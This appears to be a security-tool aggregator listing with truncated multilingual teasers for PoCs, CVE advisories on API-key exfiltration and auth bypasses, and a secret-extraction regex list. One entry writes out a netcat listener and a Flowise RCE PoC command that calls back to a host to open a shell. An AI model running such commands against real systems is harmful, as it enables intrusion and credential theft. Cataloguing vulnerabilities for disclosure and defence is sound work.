SDK

Intelligence X 公共 SDK 该软件开发工具包（SDK）允许任何人使用 Intelligence X 搜索引擎。它是免费使用的，Intelligence X 欢迎将其集成到第三方工具和服务中。 Intelligence X 是一个搜索引擎和数据档案库。更多详情请访问 https://intelx.io。 该 SDK 包含以下部分： 1. API 文档 2. HTML 代码示例 3. PHP 代码示例 4. Python 代码示例 5. Go 包和代码 6. Maltego Transform 最新更新： 2024年11月30日 - 0.6.2 版本可从 Python 包索引...

Log4Shell-PoC-Application

☕ Log4Shell PoC 应用程序 基于 Spring 框架的 Web 应用程序，用于 log4shell 漏洞的概念验证 安装与启动 !Important 启动此项目需要 JDK 1.8（开发中使用 8u131） 使用提供的 Dockerfile 构建并运行 poc 应用程序的 Docker 镜像。 root@kitploit: docker build --tag log4shell-poc-application . docker run -d -p 8080:8000 --name Log4shell-PoC-Application...

virustotalx

virustotalx 用于端点 virustotalx 用于 IP（V2） 安装 root@kitploit: git clone https://github.com/orwagodfather/virustotalx.git root@kitploit: cd virustotalx 创建 3 个账户 https://www.virustotal.com/gui/join-us 并复制 3 个 API 密钥 === root@kitploit: nano orwa.sh & root@kitploit: nano orwaV2.sh 在此处粘贴 3 个 API 密钥...

CVE-2026-91935

Flowise before 3.1.4 fails to validate baseURL parameters in chat-model nodes, allowing authenticated users to redirect requests to arbitrary hosts. Attackers with chatflows:create or chatflows:update permissions can exfiltrate LLM provider API keys by redirecting requests to cloud metadata...

EUVD-2026-78793

Flowise before 3.1.4 fails to validate baseURL parameters in chat-model nodes, allowing authenticated users to redirect requests to arbitrary hosts. Attackers with chatflows:create or chatflows:update permissions can exfiltrate LLM provider API keys by redirecting requests to cloud metadata...

CVE-2026-91935 Flowise before 3.1.4 SSRF and API Key Exfiltration via Chat Model Nodes

Flowise before 3.1.4 fails to validate baseURL parameters in chat-model nodes, allowing authenticated users to redirect requests to arbitrary hosts. Attackers with chatflows:create or chatflows:update permissions can exfiltrate LLM provider API keys by redirecting requests to cloud metadata...

CVE-2026-54254

Cyberdrop-DL is a bulk asynchronous downloader for multiple file hosts. From 8.5.0 until 9.14.0, the Pixeldrain crawler uses substring host matching instead of requiring the input host to be an exact member of SUPPORTEDDOMAINS, and then reuses that input host for API requests. When a Pixeldrain A...

CVE-2026-54254

Cyberdrop-DL is a bulk asynchronous downloader for multiple file hosts. From 8.5.0 until 9.14.0, the Pixeldrain crawler uses substring host matching instead of requiring the input host to be an exact member of SUPPORTEDDOMAINS, and then reuses that input host for API requests. When a Pixeldrain A...

CVE-2026-54254 Cyberdrop-DL: Pixeldrain API key shared with unverified thirdparty sites

Cyberdrop-DL is a bulk asynchronous downloader for multiple file hosts. From 8.5.0 until 9.14.0, the Pixeldrain crawler uses substring host matching instead of requiring the input host to be an exact member of SUPPORTEDDOMAINS, and then reuses that input host for API requests. When a Pixeldrain A...

CVE-LiteLLM

cve-id ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: root@kitploit: git clone cd Project use python follow below Create a virtual environment...

CVE-2025-11203-PoC

CVE-2025-11203 — LiteLLM Health Endpoint APIKEY Information Disclosure LiteLLM versions 1.63.14 /health endpoint, when processing the apikey parameter, does not properly filter sensitive information , causing authenticated users to retrieve API Keys stored in other model configurations. The apike...

CVE-2025-59528

Version française CVE-2025-59528 概念验证 专注于在授权环境中对该漏洞进行技术验证的最小化 PoC。 前提条件 您必须在目标 Flowise 仪表板上拥有一个用户账户。 您必须拥有与该账户关联的有效 API 密钥。 您必须在运行 PoC 之前于回调主机上启动监听器（示例：nc -lvn 4444）。 使用示例 首先启动监听器： root@kitploit: nc -lvn 4444 root@kitploit: python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api...

CVE-2026-57127 praisonai: recipe serve auth middleware silently disables itself when no secret is set

PraisonAI is a multi-agent teams system. Prior to 4.6.58, recipe serve installs APIKeyAuthMiddleware or JWTAuthMiddleware when an operator selects api-key or JWT authentication, but each middleware forwards requests when PRAISONAIAPIKEY or PRAISONAIJWTSECRET and the corresponding recipe value are...

CVE-2026-57127

PraisonAI (multi-agent LLM framework on PyPI) prior to 4.6.58 contains a fail-open authentication bypass in praisonai/recipe/serve.py. When an operator sets auth: api-key or auth: jwt in the recipe YAML but fails to provide the corresponding secret (via YAML field or PRAISONAI_API_KEY / PRAISONAI...

FOSKiller

root@kitploit: ███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗ ██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗ █████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝ ██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗ ██║ ╚██████╔╝███████║██║...

CVE-2026-71204-PoC

CVE-2026-71204 — changedetection.io：/settings 中省略复选框会静默禁用 API 密钥强制 产品： dgtlmoon/changedetection.io — v0.55.7 文件： changedetectionio/blueprint/settings/init.py、changedetectionio/forms.py CWE： CWE-284 — 访问控制不当 CVSS 3.1： AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L — 6.3（中危） CNA： Turan Security · CVE 记录 描述...

secret-regex-list

Lista de expresiones regulares para secretos Lista de regex para extraer claves de API secretas e información jugosa. Puedes copiarla directamente y ponerla en tu código de Python; algunas regex pueden requerir tres comillas o se romperá el código. root@kitploit: "Cloudinary" : "cloudinary://.",...

EyesOfNetwork - Hardcoded API Key & SQL Injection

An issue was discovered in EyesOfNetwork 5.3. The EyesOfNetwork API 2.4.2 is prone to SQL injection, allowing an unauthenticated attacker to perform various tasks such as authentication bypass via the username field to getApiKey in include/apifunctions.php. id: CVE-2020-8656 info: name:...

-CVE-2025-59528-PoC

CVE-2025-59528-PoC FOR EDUCATIONAL PURPOSES ONLY A simple python script to exploit CVE-2025-59528, this an Authenticated RCE vulnerability in Flowise application, a popular AI tool, that is also part of an HTB seasonal challenge, on which I tested it btw. If it's not working, make sure the comman...

pigeon

Pigeon 你的智能体生成了一个子智能体，并把同一个 API 密钥交给了它。这个子智能体现在可以部署到生产环境、读取支付数据库，并合并到主分支。 Pigeon 阻止了这一切。你交给子智能体的是一个 Pigeon Pass ：一份收窄的、经过签名的凭证，明确它被允许做什么，而不是你全部权限的副本。 安装 需要 Python 3.12 或更高版本。 root@kitploit: git clone https://github.com/pigeonlabsHQ/pigeon.git cd pigeon pip install . 核心理念，20 行代码 root@kitploit: fro...